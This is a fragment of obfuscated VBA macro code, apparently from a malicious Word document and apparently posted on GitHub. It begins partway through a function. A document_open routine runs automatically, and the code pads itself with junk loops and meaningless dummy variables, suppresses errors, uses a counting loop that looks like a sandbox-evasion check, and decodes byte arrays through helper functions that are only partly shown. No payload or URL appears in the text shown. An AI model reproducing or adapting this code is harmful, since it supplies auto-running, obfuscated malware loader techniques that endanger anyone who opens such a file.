If QLJUw > 33 Then | |
QLJUw = 4 | |
For QLJUw = 1 To 89 | |
QLJUw = QLJUw + 1 | |
Next | |
End If | |
Dim U7PlAu54 As String | |
U7PlAu54 = CInt(163) | |
If Jkpzfs = 0 Then Exit Function | |
Dim DTaj As Integer | |
DTaj = 68 | |
If DTaj > 25 Then | |
DTaj = 5 | |
While DTaj <= 116 | |
DTaj = DTaj + 1 | |
Wend | |
End If | |
Dim U7PlAu55 As String | |
U7PlAu55 = NPer(724, 878, 677) | |
OHb = Jkpzfs - 1 | |
Dim NdG As Integer | |
NdG = 92 | |
If NdG > 25 Then | |
NdG = 7 | |
Do | |
NdG = NdG + 1 | |
Loop While NdG <= 4 | |
End If | |
Dim U7PlAu56 As String | |
U7PlAu56 = Minute(Now) | |
End Function | |
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String | |
Dim NiRA As Integer | |
NiRA = 76 | |
If NiRA > 20 Then | |
NiRA = 3 | |
For NiRA = 1 To 130 | |
NiRA = NiRA + 1 | |
Next | |
End If | |
'abstained | |
Dim U7PlAu57 As String | |
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long | |
Dim MH3R As Integer | |
MH3R = 98 | |
If MH3R > 31 Then | |
MH3R = 8 | |
For MH3R = 1 To 102 | |
MH3R = MH3R + 1 | |
Next | |
End If | |
Dim U7PlAu58 As String | |
U7PlAu58 = Hour(Now) | |
KXC0 = KJJPl | |
Dim Ul1cw8l As Integer | |
Ul1cw8l = 37 | |
If Ul1cw8l > 28 Then | |
Ul1cw8l = 8 | |
Do | |
Ul1cw8l = Ul1cw8l + 1 | |
Loop While Ul1cw8l <= 136 | |
End If | |
Dim U7PlAu59 As String | |
U7PlAu59 = Year(296) | |
Lvd = OHb(KXC0) | |
Dim LGCldN As Integer | |
LGCldN = 88 | |
If LGCldN > 32 Then | |
LGCldN = 7 | |
Do | |
LGCldN = LGCldN + 1 | |
Loop While LGCldN <= 209 | |
End If | |
Dim U7PlAu60 As String | |
U7PlAu60 = CVar(357) | |
To8G4k = (To8G4k - 1) * 2 | |
Dim TkB As Integer | |
TkB = 62 | |
If TkB > 22 Then | |
TkB = 2 | |
Do While TkB <= 90 | |
TkB = TkB + 1 | |
Loop | |
End If | |
Dim U7PlAu61 As String | |
U7PlAu61 = CCur(537) | |
Fbz = (Fbz * 2) - 1 | |
Dim T5 As Integer | |
T5 = 10 | |
If T5 > 34 Then | |
T5 = 8 | |
For T5 = 1 To 128 | |
T5 = T5 + 1 | |
Next | |
End If | |
Dim U7PlAu62 As String | |
U7PlAu62 = TimeSerial(198, 209, 177) | |
If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k | |
Dim G9N As Integer | |
G9N = 14 | |
If G9N > 32 Then | |
G9N = 3 | |
Do Until G9N >= 66 | |
G9N = G9N + 1 | |
Loop | |
End If | |
Dim U7PlAu63 As String | |
U7PlAu63 = Day(304) | |
ReDim RZiZ4(Fbz) | |
Dim R5JT As Integer | |
R5JT = 44 | |
If R5JT > 39 Then | |
R5JT = 5 | |
Do While R5JT <= 181 | |
R5JT = R5JT + 1 | |
Loop | |
End If | |
Dim U7PlAu64 As String | |
U7PlAu64 = Sqr(264) | |
For XhKwG = To8G4k To To8G4k + Fbz | |
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG) | |
Next XhKwG | |
Dim MGI As Integer | |
MGI = 46 | |
If MGI > 32 Then | |
MGI = 4 | |
Do While MGI <= 106 | |
MGI = MGI + 1 | |
Loop | |
End If | |
Dim U7PlAu65 As String | |
If U7PlAu65 = "537" Then GetObject "911", "512" | |
CHnp = RZiZ4 | |
Dim IVjQw As Integer | |
IVjQw = 37 | |
If IVjQw > 28 Then | |
IVjQw = 8 | |
Do | |
IVjQw = IVjQw + 1 | |
Loop While IVjQw <= 136 | |
End If | |
Dim U7PlAu66 As String | |
U7PlAu66 = Year(296) | |
End Function | |
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte | |
Dim NKpRsf As Integer | |
NKpRsf = 88 | |
If NKpRsf > 32 Then | |
NKpRsf = 7 | |
Do | |
NKpRsf = NKpRsf + 1 | |
Loop While NKpRsf <= 209 | |
End If | |
Dim U7PlAu67 As String | |
U7PlAu67 = CVar(357) | |
Dim E9 As Long, Yp As Long | |
Dim OXP As Integer | |
OXP = 62 | |
If OXP > 22 Then | |
OXP = 2 | |
Do While OXP <= 90 | |
OXP = OXP + 1 | |
Loop | |
End If | |
Dim U7PlAu68 As String | |
U7PlAu68 = CCur(537) | |
For E9 = 48 To 57 | |
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For | |
Yp = Yp + 1 | |
Next E9 | |
Dim U8 As Integer | |
U8 = 10 | |
If U8 > 34 Then | |
U8 = 8 | |
For U8 = 1 To 128 | |
U8 = U8 + 1 | |
Next | |
End If | |
Dim U7PlAu69 As String | |
U7PlAu69 = TimeSerial(198, 209, 177) | |
End Function | |
Private Sub document_open() | |
Dim GY As Integer | |
GY = 16 | |
If GY > 21 Then | |
GY = 6 | |
Do Until GY >= 78 | |
GY = GY + 1 | |
Loop | |
End If | |
Dim U7PlAu70 As String | |
U7PlAu70 = FV(7, 7, 59) | |
On Error Resume Next | |
Dim OcAdF6P As Integer | |
OcAdF6P = 58 | |
If OcAdF6P > 24 Then | |
OcAdF6P = 6 | |
Do While OcAdF6P <= 93 | |
OcAdF6P = OcAdF6P + 1 | |
Loop | |
End If | |
Dim U7PlAu71 As String | |
U7PlAu71 = CVar(704) | |
Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long | |
Dim UEOt7JI As Integer | |
UEOt7JI = 13 | |
If UEOt7JI > 28 Then | |
UEOt7JI = 3 | |
Do Until UEOt7JI >= 71 | |
UEOt7JI = UEOt7JI + 1 | |
Loop | |
End If | |
Dim U7PlAu72 As String | |
U7PlAu72 = FreeFile(287) | |
Mbau = 91034 | |
Dim UvULlW As Integer | |
UvULlW = 49 | |
If UvULlW > 24 Then | |
UvULlW = 1 | |
While UvULlW <= 153 | |
UvULlW = UvULlW + 1 | |
Wend | |
End If | |
Dim U7PlAu73 As String | |
If IsError(162) = True Then U7PlAu73 = "952" | |
For FS7rPff = 1 To Mbau | |
UN83e3l = UN83e3l + 1 | |
Next FS7rPff | |
Dim AT2jo As Integer | |
AT2jo = 6 | |
If AT2jo > 25 Then | |
AT2jo = 7 | |
Do | |
AT2jo = AT2jo + 1 | |
Loop While AT2jo <= 83 | |
End If | |
Dim U7PlAu74 As String | |
If UN83e3l = Mbau Then | |
Dim Dxnm1 As Integer | |
Dxnm1 = 31 | |
If Dxnm1 > 30 Then | |
Dxnm1 = 2 | |
Do While Dxnm1 <= 12 | |
Dxnm1 = Dxnm1 + 1 | |
Loop | |
End If | |
Dim U7PlAu75 As String | |
U7PlAu75 = Sqr(222) | |
Dim GyCV6P9 As Integer, Ew As String | |
Dim U7PlAu77 As String | |
U7PlAu77 = Dir("863") | |
For GyCV6P9 = 6 To 919 | |
Ew = Ew + GyCV6P9 | |
Next | |
Dim U7PlAu78 As String | |
U7PlAu78 = Sqr(222) | |
Dim D5t3m As Integer | |
D5t3m = 81 | |
If D5t3m > 30 Then | |
D5t3m = 4 | |
While D5t3m <= 169 | |
D5t3m = D5t3m + 1 | |
Wend | |
End If | |
GmY | |
Else | |
Dim U7PlAu79 As String | |
U7PlAu79 = Year(Now) | |
Dim RxhREzo As Integer | |
RxhREzo = 20 | |
If RxhREzo > 27 Then | |
RxhREzo = 4 | |
Do While RxhREzo <= 275 | |
RxhREzo = RxhREzo + 1 | |
Loop | |
End If | |
GwQ9d | |
Dim LPA As Integer | |
LPA = 48 | |
If LPA > 40 Then | |
LPA = 9 | |
Do While LPA <= 48 | |
LPA = LPA + 1 | |
Loop | |
End If | |
Dim U7PlAu80 As String | |
If U7PlAu80 = "306" Then Resume | |
End If | |
Dim KUA1 As Integer | |
KUA1 = 51 | |
If KUA1 > 38 Then | |
KUA1 = 3 | |
Do Until KUA1 >= 67 | |
KUA1 = KUA1 + 1 | |
Loop | |
End If | |
Dim U7PlAu81 As String | |
U7PlAu81 = DoEvents | |
End Sub | |
Private Function M6C(PWwslQ6() As Byte) As String | |
Dim Wew As Integer | |
Wew = 6 | |
If Wew > 30 Then | |
Wew = 8 | |
Do | |
Wew = Wew + 1 | |
Loop While Wew <= 182 | |
End If | |
Dim U7PlAu82 As String | |
U7PlAu82 = CByte(96) | |
Dim UmtI5E As Long | |
'invades | |
Dim AI5mnr As Integer | |
AI5mnr = 71 | |
If AI5mnr > 31 Then | |
AI5mnr = 4 | |
Do | |
AI5mnr = AI5mnr + 1 | |
Loop While AI5mnr <= 91 | |
End If | |
Dim U7PlAu83 As String | |
U7PlAu83 = AscB(997) | |
For UmtI5E = 0 To OHb(PWwslQ6) | |
Dim Whc As Integer | |
Whc = 3 | |
If Whc > 22 Then | |
Whc = 6 | |
Do Until Whc >= 49 | |
Whc = Whc + 1 | |
Loop | |
End If | |
Dim U7PlAu84 As String | |
If U7PlAu84 = "458" Then DoEvents | |
M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E)) | |
Dim V6Oc As Integer | |
V6Oc = 31 | |
If V6Oc > 35 Then | |
V6Oc = 4 | |
While V6Oc <= 55 | |
V6Oc = V6Oc + 1 | |
Wend | |
End If | |
Dim U7PlAu85 As String | |
U7PlAu85 = CLng(571) | |
Next UmtI5E | |
Dim TNPv As Integer | |
TNPv = 97 | |
If TNPv > 40 Then | |
TNPv = 5 | |
Do | |
TNPv = TNPv + 1 | |
Loop While TNPv <= 202 | |
End If | |
Dim U7PlAu86 As String | |
U7PlAu86 = DateValue(Date) | |
End Function | |
Private Function SGo0s(TUO, KDSkW) | |
Dim U7PlAu87 As String | |
U7PlAu87 = Fix(900.66) | |
SGo0s = TUO - (KDSkW * (TUO \ KDSkW)) | |
Dim U7PlAu88 As String | |
U7PlAu88 = CLng(981) | |
End Function |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment